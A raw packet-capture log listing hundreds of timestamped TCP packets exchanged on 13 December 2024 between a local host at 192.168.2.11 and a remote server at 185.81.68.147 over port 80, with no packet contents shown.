Dec 13, 2024 08:18:52.050373077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.051409960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.051516056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.051563025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.052602053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.052685022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.052732944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.053755045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.053889036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.053935051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.054948092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.055059910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.055145979 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.056127071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.056263924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.056345940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.057351112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.057441950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.057565928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.058537006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.058664083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.058778048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.059724092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.059835911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.059914112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.060924053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.061072111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.061163902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.062206984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.062223911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.062318087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.063330889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.063426018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.063507080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.064523935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.064656973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.064744949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.065721989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.065850019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.065939903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.066926956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.066952944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.067033052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.068063974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.068224907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.068301916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.069351912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.069479942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.069559097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.070482016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.070533037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.070612907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.071779966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.071846962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.071927071 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.072890997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.073024035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.073102951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.074091911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.074227095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.074306011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.075258017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.075382948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.075478077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.076493025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.076566935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.076661110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.077694893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.077861071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.077976942 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.078882933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.078984976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.079061985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.080051899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.080172062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.080255985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.081232071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.081337929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.081422091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.082459927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.082557917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.082638025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.083632946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.083728075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.083808899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.084970951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.084988117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.085079908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.086160898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.086179018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.086281061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.087213039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.087341070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.087419033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.088408947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.088521004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.088594913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.089581966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.089704037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.089796066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.090801954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.090933084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.091017008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.091922045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.136878967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.221400976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.221430063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.221565962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.221800089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.221883059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.221956968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.222745895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.222773075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.222878933 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.223917007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.224037886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.224128008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.225131035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.225239992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.225311041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.226305962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.226460934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.226560116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.227510929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.227619886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.228039026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.228699923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.228826046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.228915930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.229882956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.230010033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.230087042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.231086969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.231230021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.231334925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.232295036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.232399940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.232554913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.233478069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.233562946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.233638048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.234672070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.234782934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.234947920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.235877991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.236021042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.236094952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.237052917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.237194061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.237277031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.238272905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.238365889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.238445044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.239511013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.239593029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.239670038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.240704060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.240788937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.240881920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.241844893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.241969109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.242048979 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.243079901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.243233919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.243323088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.244235039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.244344950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.244421959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.245428085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.245532036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.245620966 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.246618032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.246733904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.246824026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.247795105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.247912884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.247997046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.249047995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.249172926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.249255896 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.250220060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.250309944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.250397921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.251595974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.251666069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.251744032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.252672911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.252688885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.252769947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.253762960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.253899097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.253978014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.254959106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.255089045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.255163908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.256141901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.256247044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.256334066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.257363081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.257455111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.257539988 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.258626938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.258682966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.258761883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.259860039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.260169983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.260251999 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.260996103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.261091948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.261178017 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.262121916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.262252092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.262329102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.263353109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.263449907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.263523102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.264518023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.264642000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.264734983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.265702009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.265814066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.265908003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.267055988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.267163038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.267246008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.268122911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.268214941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.268289089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.269282103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.269334078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.269411087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.270524979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.270612955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.270703077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.271681070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.271785975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.272001028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.272910118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.273010015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.273092985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.274102926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.274164915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.274247885 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.275269032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.275377989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.275464058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.276496887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.276613951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.276690960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.277662992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.277815104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.277894974 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.278841972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.278947115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.279033899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.280055046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.280152082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.280236959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.281239033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.281353951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.281438112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.282457113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.282581091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.282661915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.283628941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.324371099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.413372040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.413470030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.413665056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.413938046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.413994074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.414104939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.415131092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.415189028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.415306091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.416332006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.416440010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.416693926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.417529106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.417651892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.417752981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.418699980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.418797970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.418905020 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.419892073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.420017004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.420126915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.421109915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.421212912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.421319962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.422290087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.422403097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.422502041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.423546076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.423788071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.423894882 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.424705029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.424808025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.424916983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.425860882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.425971031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.426023960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.427068949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.427180052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.427231073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.428271055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.428370953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.428421021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.429476023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.429583073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.429639101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.430656910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.430859089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.430967093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.431838989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.431936979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.432039976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.433041096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.433130026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.433226109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.434237957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.434351921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.434453964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.435406923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.435519934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.435627937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.436600924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.436753035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.436852932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.437817097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.437937021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.438031912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.439038992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.439122915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.439219952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.440205097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.440309048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.440396070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.441389084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.441524982 CET	80	49726	185.81.68.147	192.168.2.11
